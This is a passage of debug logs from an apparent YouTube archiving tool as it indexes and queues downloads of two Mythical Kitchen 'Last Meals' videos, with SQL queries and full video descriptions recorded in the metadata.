Humanity\n48:00:00 What Do You Think Happens When You Die?\n50:01:00 What About AI?\n52:06:00 The Most Mindblowing Fact Neil Knows\n53:44:00 Lightning Round\n56:10 Neil's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3416, "filename" => "/downloads/Last Meals/2025-12-04 Neil deGrasse Tyson Eats His Last Meal/Neil deGrasse Tyson Eats His Last Meal [V-daEZp3YLA].mp4", "id" => "V-daEZp3YLA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=V-daEZp3YLA", "playlist_index" => 36, "timestamp" => 1764846059, "title" => "Neil deGrasse Tyson Eats His Last Meal", "upload_date" => "20251204"} 20:47:48.374 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=322.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:48.375 [debug] QUERY OK source="sources" db=0.2ms idle=317.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:48.376 [debug] QUERY OK source="media_items" db=0.3ms idle=318.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 11:00:59Z], 1] 20:47:48.379 [debug] QUERY OK source="media_items" db=2.5ms idle=319.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Neil deGrasse Tyson eats his last meal. \n\nTo get your questions about the cosmos answered, check out Neil's book! Just Visiting This Planet: https://a.co/d/dWfSrAH\n\nChapters\n0:00 Neil's Last Meal\n0:27 Science Fair Beef\n1:55 Why Wait For Your Last Meal To Eat Good Food?\n3:42 1st Course\n6:06 Lessons From Wrestling\n8:46 Aliens Can Watch Our TV Shows\n11:12 Should Scientists Run The Government?\n18:08 2nd Course\n19:36 Lasagna & Space Exploration\n22:45 Is There Room For God?\n27:14 Pluto Had It Coming\n29:00 Seveneves\n30:46:00 A Death-Free Meal\n31:38 3rd Course\n35:40 If I'm Going To Mars, I'm Bringing Pizza\n40:09 Death Gives Life Meaning\n41:50:00 Being A Hopeful Realist\n44:43:00 Winning A Victory For Humanity\n48:00:00 What Do You Think Happens When You Die?\n50:01:00 What About AI?\n52:06:00 The Most Mindblowing Fact Neil Knows\n53:44:00 Lightning Round\n56:10 Neil's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Neil deGrasse Tyson Eats His Last Meal", "dc184a70-9347-4b64-9923-209a03dbf233", "https://www.youtube.com/watch?v=V-daEZp3YLA", false, "V-daEZp3YLA", 3416, false, 36, "/downloads/Last Meals/2025-12-04 Neil deGrasse Tyson Eats His Last Meal/Neil deGrasse Tyson Eats His Last Meal [V-daEZp3YLA].mp4", false, false, 1, [], 0, ~U[2025-12-04 11:00:59Z], ~U[2026-03-28 00:47:48Z], ~U[2026-03-28 00:47:48Z], "Today, Neil deGrasse Tyson eats his last meal. \n\nTo get your questions about the cosmos answered, check out Neil's book! Just Visiting This Planet: https://a.co/d/dWfSrAH\n\nChapters\n0:00 Neil's Last Meal\n0:27 Science Fair Beef\n1:55 Why Wait For Your Last Meal To Eat Good Food?\n3:42 1st Course\n6:06 Lessons From Wrestling\n8:46 Aliens Can Watch Our TV Shows\n11:12 Should Scientists Run The Government?\n18:08 2nd Course\n19:36 Lasagna & Space Exploration\n22:45 Is There Room For God?\n27:14 Pluto Had It Coming\n29:00 Seveneves\n30:46:00 A Death-Free Meal\n31:38 3rd Course\n35:40 If I'm Going To Mars, I'm Bringing Pizza\n40:09 Death Gives Life Meaning\n41:50:00 Being A Hopeful Realist\n44:43:00 Winning A Victory For Humanity\n48:00:00 What Do You Think Happens When You Die?\n50:01:00 What About AI?\n52:06:00 The Most Mindblowing Fact Neil Knows\n53:44:00 Lightning Round\n56:10 Neil's Last Words\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Neil deGrasse Tyson Eats His Last Meal", "https://www.youtube.com/watch?v=V-daEZp3YLA", "V-daEZp3YLA", 3416, false, "/downloads/Last Meals/2025-12-04 Neil deGrasse Tyson Eats His Last Meal/Neil deGrasse Tyson Eats His Last Meal [V-daEZp3YLA].mp4", false, 1, ~U[2025-12-04 11:00:59Z]] 20:47:48.380 [debug] QUERY OK source="sources" db=0.3ms idle=322.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:48.381 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:48.382 [debug] QUERY OK source="media_items" db=0.4ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 20:47:48.382 [info] Kicking off download for media item #36 (V-daEZp3YLA) 20:47:48.384 [debug] QUERY OK source="tasks" db=0.2ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [39, 36, ~U[2026-03-28 00:47:48Z], ~U[2026-03-28 00:47:48Z]] 20:47:48.384 [debug] Current batch of media processed. Will check again in 1000ms 20:47:49.386 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Shayne Topp is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Shayne's Last Meal\n0:20 Philip Brownley From Briarwood\n1:23 Have You Thought About Your Last Meal Before?\n2:03 How Often Do You Think About Death?\n3:01 1st Course (Bringing Back The OG Chili's Chicken Crispers)\n4:58 Standing Up For Arby's\n5:30 Drowning As A Baby\n8:45 Mom's Clairvoyance\n10:06 Teenage Existentialism\n12:54 2nd Course\n15:02 Catching Lobsters With Dad\n16:11 Pressure On Child Actors\n18:15 Early Journal Cringe\n22:00 Dear Lemon Lima\n25:19 3rd Course\n26:58 Onscreen Persona Vs. The Real Shayne\n29:44 Getting Married & Going Public\n32:19 YouTube Vs. Traditional Celebrities\n33:03 How To Be A Fan\n35:05 4th Course\n36:24 17 Year Old Prophet\n37:55 Reflect & Respect\n38:38 So Random Method Acting\n39:41 Wanting To Be A Therapist\n41:47 The Failures Are A Gift\n44:07 What Happens When You Die?\n45:29 Lightning Round\n48:10 Shayne's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2960, "filename" => "/downloads/Last Meals/2024-08-20 Shayne Topp Eats His Last Meal/Shayne Topp Eats His Last Meal [0AW6tWTRLeU].mp4", "id" => "0AW6tWTRLeU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0AW6tWTRLeU", "playlist_index" => 37, "timestamp" => 1724148002, "title" => "Shayne Topp Eats His Last Meal", "upload_date" => "20240820"} 20:47:49.387 [debug] QUERY OK source="sources" db=0.3ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:49.387 [debug] QUERY OK source="sources" db=0.2ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:49.388 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-20 10:00:02Z], 1] 20:47:49.393 [debug] QUERY OK source="media_items" db=3.4ms idle=1004.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Shayne Topp is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Shayne's Last Meal\n0:20 Philip Brownley From Briarwood\n1:23 Have You Thought About Your Last Meal Before?\n2:03 How Often Do You Think About Death?\n3:01 1st Course (Bringing Back The OG Chili's Chicken Crispers)\n4:58 Standing Up For Arby's\n5:30 Drowning As A Baby\n8:45 Mom's Clairvoyance\n10:06 Teenage Existentialism\n12:54 2nd Course\n15:02 Catching Lobsters With Dad\n16:11 Pressure On Child Actors\n18:15 Early Journal Cringe\n22:00 Dear Lemon Lima\n25:19 3rd Course\n26:58 Onscreen Persona Vs. The Real Shayne\n29:44 Getting Married & Going Public\n32:19 YouTube Vs. Traditional Celebrities\n33:03 How To Be A Fan\n35:05 4th Course\n36:24 17 Year Old Prophet\n37:55 Reflect & Respect\n38:38 So Random Method Acting\n39:41 Wanting To Be A Therapist\n41:47 The Failures Are A Gift\n44:07 What Happens When You Die?\n45:29 Lightning Round\n48:10 Shayne's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Shayne Topp Eats His Last Meal", "4dacfd0c-e938-4035-be04-dc7b1908f3d8", "https://www.youtube.com/watch?v=0AW6tWTRLeU", false, "0AW6tWTRLeU", 2960, false, 37, "/downloads/Last Meals/2024-08-20 Shayne Topp Eats His Last Meal/Shayne Topp Eats His Last Meal [0AW6tWTRLeU].mp4", false, false, 1, [], 0, ~U[2024-08-20 10:00:02Z], ~U[2026-03-28 00:47:49Z], ~U[2026-03-28 00:47:49Z], "Today, Shayne Topp is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Shayne's Last Meal\n0:20 Philip Brownley From Briarwood\n1:23 Have You Thought About Your Last Meal Before?\n2:03 How Often Do You Think About Death?\n3:01 1st Course (Bringing Back The OG Chili's Chicken Crispers)\n4:58 Standing Up For Arby's\n5:30 Drowning As A Baby\n8:45 Mom's Clairvoyance\n10:06 Teenage Existentialism\n12:54 2nd Course\n15:02 Catching Lobsters With Dad\n16:11 Pressure On Child Actors\n18:15 Early Journal Cringe\n22:00 Dear Lemon Lima\n25:19 3rd Course\n26:58 Onscreen Persona Vs. The Real Shayne\n29:44 Getting Married & Going Public\n32:19 YouTube Vs. Traditional Celebrities\n33:03 How To Be A Fan\n35:05 4th Course\n36:24 17 Year Old Prophet\n37:55 Reflect & Respect\n38:38 So Random Method Acting\n39:41 Wanting To Be A Therapist\n41:47 The Failures Are A Gift\n44:07 What Happens When You Die?\n45:29 Lightning Round\n48:10 Shayne's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition (truncated) 20:47:49.393 [debug] QUERY OK source="sources" db=0.3ms idle=340.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:49.394 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:49.395 [debug] QUERY OK source="media_items" db=0.4ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= 